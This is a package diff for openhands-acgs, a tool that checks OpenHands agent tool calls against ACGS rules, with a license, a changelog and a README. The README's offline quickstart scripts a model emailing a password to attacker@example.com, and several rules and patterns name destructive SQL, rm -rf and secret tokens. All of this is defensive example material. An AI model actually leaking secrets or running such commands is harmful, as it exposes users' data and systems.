openhands-acgs 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,12 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ .venv/
4
+ dist/
5
+ build/
6
+ *.egg-info/
7
+ .coverage
8
+ coverage.xml
9
+ htmlcov/
10
+ .mypy_cache/
11
+ .pytest_cache/
12
+ .ruff_cache/
@@ -0,0 +1,21 @@
1
+ # Changelog
2
+
3
+ All notable changes to this project are documented in this file.
4
+ The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) and the project uses
5
+ [Semantic Versioning](https://semver.org/). Entries for new releases are generated with `cz bump`.
6
+
7
+ ## [Unreleased]
8
+
9
+ ## 0.1.0 (2026-10-28)
10
+
11
+ ### Added
12
+
13
+ - `ACGSSecurityAnalyzer`: an OpenHands security analyzer that rates each action against an ACGS constitution:
14
+ `HIGH` for a blocking rule, a review-only match or any error, `LOW` otherwise. The analysis details carry the
15
+ ACGS verdict, rule IDs and reason, never argument values. The analyzer, including its constitution, is saved and
16
+ restored with persisted conversations.
17
+ - `install(conversation)`: sets the analyzer and a `ConfirmRisky()` policy, so `HIGH` actions pause the agent.
18
+ - `resolve_confirmation(conversation, analyzer, approve)`: rejects the pending actions when ACGS denies any of
19
+ them, and otherwise runs them only if the approver returns `True`.
20
+ - `on_review="deny"` rejects review-only matches without asking.
21
+ - `ACGSSecurityAnalyzer.evaluate` and `evaluate_action`.
@@ -0,0 +1,175 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding those notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
@@ -0,0 +1,426 @@
1
+ Metadata-Version: 2.5
2
+ Name: openhands-acgs
3
+ Version: 0.1.0
4
+ Summary: ACGS rule-based tool-call governance for OpenHands agents, via a security analyzer
5
+ Project-URL: Homepage, https://github.com/acgs-ai/openhands-acgs
6
+ Project-URL: Documentation, https://github.com/acgs-ai/openhands-acgs#readme
7
+ Project-URL: Repository, https://github.com/acgs-ai/openhands-acgs
8
+ Project-URL: Issues, https://github.com/acgs-ai/openhands-acgs/issues
9
+ Project-URL: Changelog, https://github.com/acgs-ai/openhands-acgs/blob/main/CHANGELOG.md
10
+ Author: Martin Lyu
11
+ License-Expression: Apache-2.0
12
+ License-File: LICENSE
13
+ Keywords: acgs,agents,ai,governance,human-in-the-loop,openhands,security-analyzer,tool-calls
14
+ Classifier: Development Status :: 3 - Alpha
15
+ Classifier: Intended Audience :: Developers
16
+ Classifier: Operating System :: OS Independent
17
+ Classifier: Programming Language :: Python :: 3
18
+ Classifier: Programming Language :: Python :: 3.12
19
+ Classifier: Programming Language :: Python :: 3.13
20
+ Classifier: Programming Language :: Python :: 3.14
21
+ Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
22
+ Classifier: Typing :: Typed
23
+ Requires-Python: <3.15,>=3.12
24
+ Requires-Dist: acgs-lite<4,>=3.0.1
25
+ Requires-Dist: openhands-sdk<2,>=1.54.0
26
+ Description-Content-Type: text/markdown
27
+
28
+ # openhands-acgs
29
+
30
+ [![CI](https://github.com/acgs-ai/openhands-acgs/actions/workflows/ci.yml/badge.svg)](https://github.com/acgs-ai/openhands-acgs/actions/workflows/ci.yml)
31
+ [![PyPI](https://img.shields.io/pypi/v/openhands-acgs.svg)](https://pypi.org/project/openhands-acgs/)
32
+ [![Python](https://img.shields.io/pypi/pyversions/openhands-acgs.svg)](https://pypi.org/project/openhands-acgs/)
33
+
34
+ `openhands-acgs` checks [OpenHands Software Agent SDK](https://github.com/OpenHands/software-agent-sdk) actions
35
+ against [ACGS](https://pypi.org/project/acgs-lite/) constitution rules before they run. It has two parts:
36
+
37
+ - `ACGSSecurityAnalyzer`, an OpenHands security analyzer. It rates an action `HIGH` risk when ACGS denies it,
38
+ when it needs a person to review it, or when it cannot be evaluated, and `LOW` otherwise.
39
+ - `resolve_confirmation`, a helper for the moment OpenHands pauses for confirmation. It rejects the pending
40
+ actions if ACGS denies any of them, and otherwise asks your approver.
41
+
42
+ The package is a thin adapter over the public `acgs-lite` API.
43
+
44
+ > [!NOTE]
45
+ > This is a community package. It is not part of OpenHands and is not maintained, reviewed or endorsed by the
46
+ > OpenHands maintainers.
47
+
48
+ ## Installation
49
+
50
+ ```bash
51
+ pip install openhands-acgs
52
+ ```
53
+
54
+ Requires Python 3.12 to 3.14, `openhands-sdk>=1.54.0,<2` and `acgs-lite>=3.0.1,<4`. openhands-sdk 1.54.0 is the
55
+ first release whose analyzers can attach details to a risk (`SecurityAnalysis`).
56
+
57
+ ## A risk signal plus confirmation, not a hard block
58
+
59
+ In OpenHands a security analyzer does not stop anything by itself. It rates each action, and the conversation's
60
+ confirmation policy decides whether the agent pauses (`WAITING_FOR_CONFIRMATION`). What happens next is up to
61
+ your code: calling `conversation.run()` again runs the pending actions, and
62
+ `conversation.reject_pending_actions(reason)` rejects them.
63
+
64
+ This has two consequences:
65
+
66
+ - With OpenHands' default policy, `NeverConfirm()`, the analyzer is only advisory: a `HIGH` action still runs.
67
+ Set a policy that pauses on `HIGH`, such as `ConfirmRisky()`.
68
+ - A pause is not a denial. ACGS denials are enforced only if your code calls `resolve_confirmation` (or rejects
69
+ the actions some other way) before it calls `run()` again.
70
+
71
+ The recommended setup, which is what `install(conversation)` does:
72
+
73
+ ```python
74
+ from openhands.sdk.security.confirmation_policy import ConfirmRisky
75
+ from openhands.sdk.security.risk import SecurityRisk
76
+
77
+ from openhands_acgs import ACGSSecurityAnalyzer
78
+
79
+ analyzer = ACGSSecurityAnalyzer()
80
+ conversation.set_security_analyzer(analyzer)
81
+ conversation.set_confirmation_policy(ConfirmRisky(threshold=SecurityRisk.HIGH, confirm_unknown=True))
82
+ ```
83
+
84
+ and a run loop that lets ACGS decide whenever the agent pauses:
85
+
86
+ ```python
87
+ from openhands.sdk.conversation.state import ConversationExecutionStatus
88
+
89
+ from openhands_acgs import resolve_confirmation
90
+
91
+
92
+ def ask_a_person(pending):
93
+ # pending: PendingAction items with .action (the OpenHands ActionEvent) and .decision (the ACGS decision).
94
+ # Return True only to run all of them.
95
+ return False
96
+
97
+
98
+ def run_governed(conversation, analyzer):
99
+ conversation.run()
100
+ while conversation.state.execution_status == ConversationExecutionStatus.WAITING_FOR_CONFIRMATION:
101
+ resolve_confirmation(conversation, analyzer, ask_a_person)
102
+ conversation.run()
103
+ ```
104
+
105
+ A stricter policy such as `AlwaysConfirm()` also works: `resolve_confirmation` still rejects ACGS denials and
106
+ passes every other pending action to the approver.
107
+
108
+ ## Usage
109
+
110
+ ```python
111
+ from openhands_acgs import install
112
+
113
+ # conversation is an OpenHands Conversation (for example Conversation(agent=agent, workspace=".")).
114
+ analyzer = install(conversation) # ACGSSecurityAnalyzer() plus ConfirmRisky()
115
+ ```
116
+
117
+ Then run the conversation with a loop like `run_governed` above.
118
+
119
+ ## Quickstart
120
+
121
+ `examples/quickstart.py` runs offline. OpenHands' scripted `TestLLM` stands in for a real model. Run it with
122
+ `OPENHANDS_SUPPRESS_BANNER=1 LOG_LEVEL=WARNING python examples/quickstart.py`:
123
+
124
+ ```python
125
+ """Run an OpenHands agent offline with ACGS: an allowed email, a blocked email and a refund that a person approves."""
126
+
127
+ from __future__ import annotations
128
+
129
+ import json
130
+ import tempfile
131
+ from collections.abc import Sequence
132
+
133
+ from acgs_lite import Constitution, Rule, Severity, ViolationAction
134
+ from openhands.sdk import (
135
+ Action,
136
+ Agent,
137
+ BaseConversation,
138
+ ImageContent,
139
+ LocalConversation,
140
+ Message,
141
+ Observation,
142
+ TextContent,
143
+ ToolDefinition,
144
+ )
145
+ from openhands.sdk.conversation.state import ConversationExecutionStatus
146
+ from openhands.sdk.event import UserRejectObservation
147
+ from openhands.sdk.llm import MessageToolCall
148
+ from openhands.sdk.testing import TestLLM
149
+ from openhands.sdk.tool import Tool, ToolExecutor, register_tool
150
+ from pydantic import Field
151
+
152
+ from openhands_acgs import ACGSSecurityAnalyzer, PendingAction, install, resolve_confirmation
153
+
154
+
155
+ class SendEmailAction(Action):
156
+ to: str = Field(description="Recipient address")
157
+ body: str = Field(description="Message text")
158
+
159
+
160
+ class IssueRefundAction(Action):
161
+ order_id: str = Field(description="Order to refund")
162
+ amount: float = Field(description="Amount to refund")
163
+
164
+
165
+ class Done(Observation):
166
+ @property
167
+ def to_llm_content(self) -> Sequence[TextContent | ImageContent]:
168
+ return [TextContent(text="done")]
169
+
170
+
171
+ class Run(ToolExecutor[Action, Done]):
172
+ def __call__(self, action: Action, conversation: LocalConversation | None = None) -> Done:
173
+ if isinstance(action, SendEmailAction):
174
+ print(f"ran: send_email to {action.to}")
175
+ elif isinstance(action, IssueRefundAction):
176
+ print(f"ran: issue_refund {action.order_id}")
177
+ return Done()
178
+
179
+
180
+ class SendEmailTool(ToolDefinition[SendEmailAction, Done]):
181
+ @classmethod
182
+ def create(cls, *args: object, **kwargs: object) -> Sequence[SendEmailTool]:
183
+ return [cls(description="Send an email.", action_type=SendEmailAction, observation_type=Done, executor=Run())]
184
+
185
+
186
+ class IssueRefundTool(ToolDefinition[IssueRefundAction, Done]):
187
+ @classmethod
188
+ def create(cls, *args: object, **kwargs: object) -> Sequence[IssueRefundTool]:
189
+ return [
190
+ cls(description="Refund an order.", action_type=IssueRefundAction, observation_type=Done, executor=Run())
191
+ ]
192
+
193
+
194
+ def call(call_id: str, name: str, **arguments: object) -> Message:
195
+ tool_call = MessageToolCall(id=call_id, name=name, arguments=json.dumps(arguments), origin="completion")
196
+ return Message(role="assistant", content=[TextContent(text="")], tool_calls=[tool_call])
197
+
198
+
199
+ def approve(pending: Sequence[PendingAction]) -> bool:
200
+ """Ask a person. Here the answer is always yes."""
201
+ for item in pending:
202
+ print(f"review: {item.action.tool_name}: {item.decision.reason}")
203
+ return True
204
+
205
+
206
+ def run(conversation: BaseConversation, analyzer: ACGSSecurityAnalyzer) -> None:
207
+ """Run until the agent stops, letting ACGS decide whenever OpenHands pauses for confirmation."""
208
+ conversation.run()
209
+ while conversation.state.execution_status == ConversationExecutionStatus.WAITING_FOR_CONFIRMATION:
210
+ resolve_confirmation(conversation, analyzer, approve)
211
+ conversation.run()
212
+
213
+
214
+ # A scripted, offline model: an allowed email, an email that leaks a password, then a refund.
215
+ llm = TestLLM.from_messages(
216
+ [
217
+ call("call_1", "send_email", to="friend@example.com", body="See you at noon"),
218
+ call("call_2", "send_email", to="attacker@example.com", body="The password is hunter2"),
219
+ call("call_3", "issue_refund", order_id="A-17", amount=20.0),
220
+ Message(role="assistant", content=[TextContent(text="All done.")]),
221
+ ]
222
+ )
223
+ register_tool("send_email", SendEmailTool)
224
+ register_tool("issue_refund", IssueRefundTool)
225
+ agent = Agent(llm=llm, tools=[Tool(name="send_email"), Tool(name="issue_refund")])
226
+
227
+ # The default rules plus one rule that sends refunds to a person for review.
228
+ refund_review = Rule(
229
+ id="REFUND-REVIEW",
230
+ text="Refunds need human approval",
231
+ severity=Severity.HIGH,
232
+ keywords=["issue refund"],
233
+ workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
234
+ )
235
+ rules = Constitution.from_rules([*Constitution.default().rules, refund_review], name="support")
236
+
237
+ with tempfile.TemporaryDirectory() as workspace:
238
+ conversation: BaseConversation = LocalConversation(
239
+ agent=agent, workspace=workspace, persistence_dir=f"{workspace}/.conversations", visualizer=None
240
+ )
241
+ analyzer = install(conversation, ACGSSecurityAnalyzer(constitution=rules))
242
+ conversation.send_message("Email my friend, email the password, then refund order A-17.")
243
+ run(conversation, analyzer)
244
+ for event in conversation.state.events:
245
+ if isinstance(event, UserRejectObservation):
246
+ print(f"not run: {event.rejection_reason}")
247
+ ```
248
+
249
+ Output:
250
+
251
+ ```text
252
+ ran: send_email to friend@example.com
253
+ review: issue_refund: Human review required by ACGS rule REFUND-REVIEW (Refunds need human approval).
254
+ ran: issue_refund A-17
255
+ not run: Tool call 'send_email' was not executed. Blocked by ACGS rule ACGS-006 (Agents must not expose sensitive data in responses). OpenHands rejects every pending action in the batch, so none of them ran.
256
+ ```
257
+
258
+ ## How an action is evaluated
259
+
260
+ 1. The tool name and the action's arguments are rendered as text by `format_tool_call`:
261
+
262
+ ```python
263
+ from openhands_acgs import format_tool_call
264
+
265
+ print(format_tool_call("update_config", {"service": "billing", "change": "disable\nlogging", "dryRun": False}))
266
+ ```
267
+
268
+ ```text
269
+ tool: update_config
270
+ arguments:
271
+ change: disable logging
272
+ dryRun: false
273
+ service: billing
274
+ normalized: update config | dry run
275
+ ```
276
+
277
+ Each argument leaf is one `path: value` line (nested values use `a.b[0].c` paths), so both argument names and
278
+ values are visible to rules. Whitespace inside values is collapsed so phrases split across lines still match.
279
+ Identifiers written in `snake_case`, `kebab-case` or `camelCase` are repeated as plain words on the
280
+ `normalized:` line, so the keyword `skip audit` also matches a tool called `skip_audit`. Nothing is truncated.
281
+
282
+ The arguments are the validated OpenHands `Action` (`ActionEvent.action`, without its `kind` field). An action
283
+ that OpenHands could not validate has no `Action`; its raw JSON arguments are used instead, and arguments that
284
+ are not valid JSON make the action `HIGH` risk.
285
+
286
+ 2. The text is validated with `acgs_lite.GovernanceEngine.validate` against the constitution
287
+ (`Constitution.default()` unless you pass one).
288
+
289
+ 3. The result decides the risk and what `resolve_confirmation` does:
290
+
291
+ | ACGS outcome | Risk | `resolve_confirmation` |
292
+ |---|---|---|
293
+ | No blocking rule matched (warn-only rules may match) | `LOW` | Asks the approver only if another policy paused |
294
+ | Only `require_human_review` / `escalate_to_senior` rules matched | `HIGH` | Asks the approver (rejects with `on_review="deny"`) |
295
+ | Any `block`, `block_and_notify` or `halt_and_alert` rule matched | `HIGH` | Rejects |
296
+ | A rule ID not found in the constitution, or an invalid result without a rule | `HIGH` | Rejects |
297
+ | Any exception while reading or evaluating the action | `HIGH` | Rejects |
298
+
299
+ A matched blocking rule is never downgraded to review because a review rule matched as well. If the analyzer
300
+ itself raised, OpenHands would also rate the action `HIGH`.
301
+
302
+ The analysis details OpenHands records in its `SecurityAnalysisEvent` are `acgs_verdict`, `acgs_rule_ids`,
303
+ `acgs_reason` and, after an error, `acgs_error`. `ACGSSecurityAnalyzer.evaluate(tool_name, args)` and
304
+ `evaluate_action(action_event)` return the `GovernanceDecision` without running anything.
305
+
306
+ ## Rejections
307
+
308
+ `resolve_confirmation(conversation, analyzer, approve=None)` evaluates every pending action again and returns
309
+ `True` if the caller should call `run()` to execute them:
310
+
311
+ - If any pending action is denied, every pending action is rejected with `reject_pending_actions`.
312
+ OpenHands rejects all pending actions of a batch at once, so allowed actions from the same model turn do not run
313
+ either. The model receives `"Tool call '<name>' was not executed. <reason>"` for each denied action. The reason
314
+ names the matched rules but never repeats argument values.
315
+ - Otherwise `approve(pending)` is called with every pending action. Only a return value of `True` approves them.
316
+ With no approver, any other return value, or an exception, they are rejected.
317
+ - With `on_review="deny"`, actions that need review are rejected like denied ones, without asking.
318
+
319
+ After a rejection, calling `run()` lets the agent continue and react to the reason.
320
+
321
+ ## What is covered
322
+
323
+ | Action | Checked |
324
+ |---|---|
325
+ | Tool calls of the agent the analyzer is set on (custom tools, `openhands-tools`, MCP tools) | Yes |
326
+ | Several tool calls in one model turn | Yes, each call; one denial rejects the batch |
327
+ | A single `finish` or `think` action | No: OpenHands never asks for confirmation for them |
328
+ | Sub-agents and delegated conversations | Only if their conversations have the analyzer and a policy too |
329
+ | Tools called by your own code outside the agent loop | No |
330
+
331
+ ## Custom constitutions
332
+
333
+ ```python
334
+ from acgs_lite import Constitution, Rule, Severity, ViolationAction
335
+
336
+ from openhands_acgs import ACGSSecurityAnalyzer
337
+
338
+ constitution = Constitution.from_rules(
339
+ [
340
+ Rule(
341
+ id="NO-DESTRUCTIVE-SQL",
342
+ text="No destructive SQL",
343
+ severity=Severity.CRITICAL,
344
+ keywords=["drop table", "truncate table"],
345
+ ),
346
+ Rule(
347
+ id="REFUND-REVIEW",
348
+ text="Refunds need approval",
349
+ severity=Severity.HIGH,
350
+ keywords=["refund"],
351
+ workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
352
+ ),
353
+ ],
354
+ name="payments",
355
+ )
356
+ analyzer = ACGSSecurityAnalyzer(constitution=constitution, agent_id="payments-app")
357
+ ```
358
+
359
+ `Constitution.from_yaml("rules.yaml")` works as well. The analyzer is a pydantic model like the other OpenHands
360
+ analyzers: OpenHands saves it, including the constitution, with a persisted conversation and restores it when the
361
+ conversation is resumed.
362
+
363
+ ## Options
364
+
365
+ | Field | Default | Meaning |
366
+ |---|---|---|
367
+ | `constitution` | `Constitution.default()` | Rules to enforce |
368
+ | `agent_id` | `"openhands"` | Agent identifier recorded by ACGS |
369
+ | `on_review` | `"confirm"` | `"confirm"` lets `resolve_confirmation` ask the approver about calls that need review; `"deny"` rejects them |
370
+
371
+ Unlike the other ACGS adapters there is no `tool_call_formatter` option, because the analyzer is saved with the
372
+ conversation and a Python function cannot be saved.
373
+
374
+ ## Data handling
375
+
376
+ - Checks run in the same process. The analyzer makes no network calls and needs no account or API key.
377
+ - The text that rules are checked against contains the tool name and argument values. In its default audit mode,
378
+ acgs-lite 3.0.1 keeps only a count of checks and stores neither that text nor `agent_id`
379
+ (`tests/test_analyzer.py::test_default_engine_keeps_no_record_of_checked_calls` checks this). An
380
+ `acgs_lite.AuditLog` in full audit mode would store the checked text, but the analyzer does not create one.
381
+ - Analysis details and rejection reasons name the matched rules and their text, never argument values. OpenHands
382
+ stores them in the conversation's events. The package logs the tool name and rule IDs (`INFO`), and logs a
383
+ traceback when a check fails (`WARNING`). OpenHands' own logging of pending and rejected actions is separate.
384
+ - The analyzer keeps no state between actions.
385
+
386
+ ## Limitations
387
+
388
+ - The analyzer is a risk signal. Enforcement needs a confirmation policy that pauses on `HIGH` and a run loop that
389
+ calls `resolve_confirmation`; see [above](#a-risk-signal-plus-confirmation-not-a-hard-block). OpenHands hooks
390
+ (`PreToolUse`) can block a call outright, but they are shell commands or LLM prompts, not Python callables, so
391
+ this package does not use them.
392
+ - One denied action rejects every pending action from the same model turn.
393
+ - Only actions are checked. User messages, model requests and responses, and observations are not.
394
+ - Tested with a real `LocalConversation`, `Agent` and custom tools, OpenHands' scripted `TestLLM`, the
395
+ `NeverConfirm`, `ConfirmRisky` and `AlwaysConfirm` policies, and conversation persistence and resume, against
396
+ openhands-sdk 1.54.0 and the latest 1.x release. Real providers, `openhands-tools`, MCP servers, remote
397
+ conversations (agent server) and sub-agents are not tested.
398
+ - `Constitution.default()` focuses on governance integrity (self-approval, skipping audits, privilege escalation)
399
+ and on secrets and personal data (`password`, `api_key`, `sk-...` and `ghp_...` tokens, US SSN
400
+ patterns). It does **not** cover destructive operations such as `rm -rf` or `DROP TABLE`. Write rules for the
401
+ tools you expose, in particular for terminal and file-editing tools. `tests/test_default_constitution.py` lists
402
+ what the default rules do and do not catch.
403
+ - Keyword rules in acgs-lite 3.0.1 match literal, case-insensitive substrings. They do not understand negation
404
+ ("never share the password" matches `password`) and do not treat `-`, `_` and spaces as equivalent
405
+ (`api-key` does not match the keyword `api_key`).
406
+ - Because argument names are part of the evaluated text, a tool with a parameter named `password` is rated `HIGH`
407
+ under the default constitution whenever it is called.
408
+
409
+ ## Development
410
+
411
+ ```bash
412
+ uv sync --group dev # or use hatch: hatch run prepare
413
+ hatch run format # ruff format + ruff check --fix
414
+ hatch run lint # ruff check + ruff format --check
415
+ hatch run typecheck # mypy --strict
416
+ hatch run cov # pytest with a 100% branch-coverage gate, network disabled
417
+ hatch run min:cov # the same tests against openhands-sdk 1.54.0 and acgs-lite 3.0.1
418
+ pre-commit install # format, lint, type check and tests on commit; commitizen on commit messages
419
+ ```
420
+
421
+ Commit messages follow [Conventional Commits](https://www.conventionalcommits.org/); `cz bump` updates the version
422
+ and the changelog.
423
+
424
+ ## License
425
+
426
+ Apache-2.0. See [LICENSE](LICENSE).